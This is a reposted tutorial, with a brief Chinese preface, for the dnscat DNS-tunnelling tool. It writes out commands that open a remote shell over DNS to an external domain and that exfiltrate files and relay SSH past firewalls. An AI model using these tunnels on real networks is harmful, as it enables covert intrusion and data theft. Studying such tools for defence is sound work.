git clone https://github.com/iagox86/nbtool

make

然后就可以按照下面的官方说明进行操作了。

我的感受:整体感觉这个工具不完善,失败率很高,传文件时候没有完整性校验,我自己测试时通过域名转发失败,可能是其特征过于明显导致(子域名里有dnscat关键字)。

How-to

If you're going to read one section, this is probably the best one. It'll answer the question, "what the heck do I do with dnscat?"

Starting a server

You can start a dnscat server that supports a single client by running:

dnscat --listen

Adding --multi enables a dnscat server to handle multiple simultaneous clients:

dnscat --listen --multi

While --multi is obviously more functional, it is also slightly more difficult to use and doesn't take as kindly to redirection (it takes a little bit of shell magic to make it useful; I don't recommend it). Every client that connects picks a unique session id, which is displayed before every message. To send messages to specific sessions, the outgoing messages also have to be prefixed with the session id. So, sessions look like this (the '(in)' and '(out)' are added for clarification):

(in)  session1: This is some incoming data for the first session
(out) session2: This is outgoing data on second session
(in)  session2: This is a response on the second connection

And so on. When --multi isn't being used, redirection can be used to read/write files, create relays, and so on, the same way netcat can.

Starting a client

Once a server is running, a client can connect to it. This can be done in one of two ways.

First, and the usage I recommend: if the server is an authority for a domain name, you can use the --domain argument to provide the domain. Requests will be sent to the local dns server and will eventually be routed, through the DNS hierarchy, to the server. This is the best way to use dnscat, because it is very unlikely to be prevented. For more information, see the outline of Recursive Dns, above.

The second method is to send the dns messages directly from the client to the server using the --dns argument to specify the dnscat server address. This is useful for testing, and can fool simple packet captures and poorly conceived firewall rules, but isn't an ideal usage of dnscat.

By default, a random session id will be generated. If you run the dnscat server in --multi mode, you will likely want to use the --session argument on the client to give the sessions a more friendly name. No two sessions can share an id, though, and all names must be dns-friendly characters (letters and numbers).

To summarize, here are the two options for starting a client.

dnscat --domain skullseclabs.org
or
dnscat --dns 1.2.3.4

Where 'skullseclabs.org' is the domain that the dnscat server is the authority for, or '1.2.3.4' is the ip address of the dnscat server.

Examples

Simple server

As discussed above, a dnscat server can be started using the --listen argument:

dnscat --listen

Or, if multiple clients will connect, --multi can be given:

dnscat --listen --multi

Simple client

To start a dnscat client with an authoritative domain, use the following command:

dnscat --domain <domain>

For example:

dnscat --domain skullseclabs.org

And to start it without an authoritative domain, use this:

dnscat --dns <dnscat_server_address>

For example:

dnscat --domain 1.2.4.4

For more options, use --help:

dnscat --help

Remote shell

Typically, to tunnel a shell over DNS, you're going to want to run a standard server as before:

dnscat --listen

And run the shell on the client side:

Linux/BSD:

dnscat --domain skullseclabs.org --exec "/bin/sh"

Windows:

dnscat.exe --domain skullseclabs.org --exec "cmd.exe"

On the server, you can now type commands and they'll run on the client side.

Transfer a file

You can transfer a file to the client from the server like this:

Server:
dnscat --listen > file.outClient:
dnscat --domain <domain> < file.in

You can change the direction that the file goes by switching around the redirects. To transfer from the server to the client, do this:

Server:
dnscat --listen < file.inClient:
dnscat --domain <domain> > file.out

A couple things to note:

  • No integrity checking is performed
  • There is currently no indication when a transfer is finished

Tunnel another connection

This is my favourite thing to do, and it works really slick. You can use netcat to open a port-to-port tunnel through dnscat. I like this enough that I'm going to add netcat-like arguments in the next version.

Let's say that the client can connect to an ssh server on 192.168.2.100. The server is on an entirely different network and normally has no access to 192.168.2.100. The whole situation is a little confusing because we want the dnscat client to connect to the ssh server (presumably, in real life, we'd be able to get a dnscat client on a target network, but not a dnscat server). "client" and "server" are such ancient terms anyways. I prefer to look at them as the sender and the receiver.

A diagram might help:

ssh client|| (port 1234 via netcat)|v
dnscat server^|| (DNS server(s))|
dnscat client|| (port 22 via netcat)|v
ssh server

It's like a good ol' fashioned double netcat relay. Ed Skoudis would be proud. :)

First, we start the netcat server. The server is going to run netcat, which listens on port 1234:

dnscat --listen --exec "nc -l -p 1234"

If you connect to that host on port 1234, all data will be forwarded across DNS to the dnscat client.

Second, on the client side, dnscat connects to 192.168.2.100 port 22:

dnscat --domain skullseclabs.org --exec "nc 192.168.2.100 22"

This connects to 192.168.2.100 on port 22. The input/output will both be sent across DNS back to the dnscat server, which will then send the traffic to whomever is connected on TCP/1234.

Third and finally, we ssh to our socket:

ssh -p 1234 ron@127.0.0.1

Alternatively, if available you can also use the ssh -o ProxyCommand option which avoids the need for nc on the client:

ssh -o ProxyCommand="./dnscat --domain skullseclabs.org" root@localhost

One thing to note: at the moment, doing this is slooooow. But it works, and it's really, really cool!

转载于:https://www.cnblogs.com/bonelee/p/8039034.html

dnscat使用——整体感觉这个工具不完善,失败率很高,传文件时候没有完整性校验,我自己测试时通过域名转发失败,可能是其特征过于明显导致...相关推荐

  1. vivo手机互传的文件怎么找到_基于 P2P 的在线文件传输工具,电脑与手机互传文件...

    小鹿快传是一款点对点(P2P)的在线文件传输工具,无需登录,即可在电脑.手机间互传文件,简单方便快捷. 小鹿快传是一款在线工具,只需要使用浏览器打开即可传输.无论电脑与电脑之间,手机与手机之间,还是电 ...

  2. 好用工具第2期:手机电脑传文件LocalSend

    1. 概要 LocalSend 是一个跨平台的 AirDrop替工具软件. 适用于手机电脑之间的数据文件传输,不需要互联网连接或第三方服务器,是局域网本地通信的快速可靠解决方案. LocalSend ...

  3. linux分区压力测试,stress-Linux系统压力测试工具使用及系统负载很高的几种场景测试...

    安装 yum install stress stress-ng -y stess-ng是stress的下一代,功能更加完善 常用选项 -c,--cpu:代表进程个数(每个进程会占用一个cpu,当超出c ...

  4. 【Java工具类】(22)—服务器传文件工具类SCp和Sftp

    Java工具类(22)-服务器传文件工具类SCp和Sftp 1.Scp package com.awifi.capacity.docker.manager.utils;import ch.ethz.s ...

  5. 白鹭引擎用java_白鹭引擎产品工具更新 完善小游戏、QQ玩一玩开发支持

    原标题:白鹭引擎产品工具更新 完善小游戏.QQ玩一玩开发支持 为了让开发者们获得更好的开发体验,同时在搜集大家通过官方社区.微信小游戏技术讨论群提交的反馈意见后,我们在1月29日对旗下的白鹭引擎.Eg ...

  6. 禅道设置bug模板_一款热度很高的项目管理和bug工具,免费使用,可在公司推广哦...

    以前在公司会用到各种bug管理工具,但使用最顺手的感觉还是禅道,主要是它除了能满足我的日常工作之外,用户体验上也做的不错 .前段时间领导碰巧看到了工具,觉得使用它管理项目应该不错,打算在全公司推广,让 ...

  7. 高可用的Spring FTP上传下载工具类(已解决上传过程常见问题)

    点击上方"方志朋",选择"设为星标" 回复"666"获取新整理的面试文章 作者:宇的季节 cnblogs.com/chenkeyu/p/80 ...

  8. 在Winform中上传文件的工具类-ResourceMgr

    ResourceMgr是一个可扩展可定制的上传工具类,它提供上传进度和状态指示.配合可视化的组件,有类似于快车或迅雷下载软件的效果. 它的基类的完整实现如下:由于我是在应用程序整体框架中抠出来的代码, ...

  9. 压力测试时软件崩溃怎么办,完善压力测试 避免系统崩溃恶果

    压力测试对系统的重要作用 我们对应用程序进行压力测试时经常会出现这种情况,就是测试到了最后却发现不明白测试结果有什么意义?实际上,当我们都不明白压力测试的意义时,我们就不能设计出各种极限测试用例. 压 ...

最新文章

  1. $httpprovider指令中拦截器interceptors的使用介绍
  2. 练习 MongoDB 操作 —— 分片篇(五)
  3. 中国科学:拟南芥二半萜类化合物调控根系微生物组
  4. 北京的CCIE考试面试变成中文了
  5. Sencha ID的注册
  6. devexpress java_DevExpress使用心得一:换肤
  7. 3D远方纯动态白云页面源码
  8. 成都至柬埔寨金边定期直飞航线开通
  9. 警示:一个update语句引起大量gc等待和业务卡顿
  10. 表视图(UITableView)与表视图控制器(UITableViewController)
  11. 8086 MOV 指令的注意事项
  12. 线程并发安全导致内存溢出
  13. excel 图表 保持矢量图格式 粘贴进word
  14. Unity拼图小游戏
  15. android检测ibeacon电量,Android检测IBeacon热点的方法
  16. php暴力引流代码,利用霸屏暴力引流,免费分享霸屏代码
  17. 2022年考研计算机组成原理_4 指令系统
  18. 经验分享:移动客户端设计开发经验-流程篇
  19. 我的第一个博客----浅谈人生观价值观
  20. 区块链+游戏资产所有权,将如何激活游戏经济的发展?

热门文章

  1. cgicc thttpd经常用的调试命令
  2. remote_port java_Java HttpServletRequest.getRemotePort方法代碼示例
  3. php解析QQmv直链,网易云音乐直链解析API源代码^-^
  4. x的平方加y平加xy的java语言_JAVA语言及网络编程-中国大学mooc-题库零氪
  5. 设置网页打开默认全屏_提升Adsense收入的三个关键设置
  6. android小程序源代码_我从 Android 转到微信小程序的思考
  7. 【以太坊】搭建测试网络之ubuntu系统安装node.js
  8. 【面试必备】java实现下载文件
  9. Keras【Deep Learning With Python】MNIST数据集识别优化
  10. redis value最大值_Redis 的 maxmemory 和 dbnum 默认值都是多少?对于最大值会有限制吗?...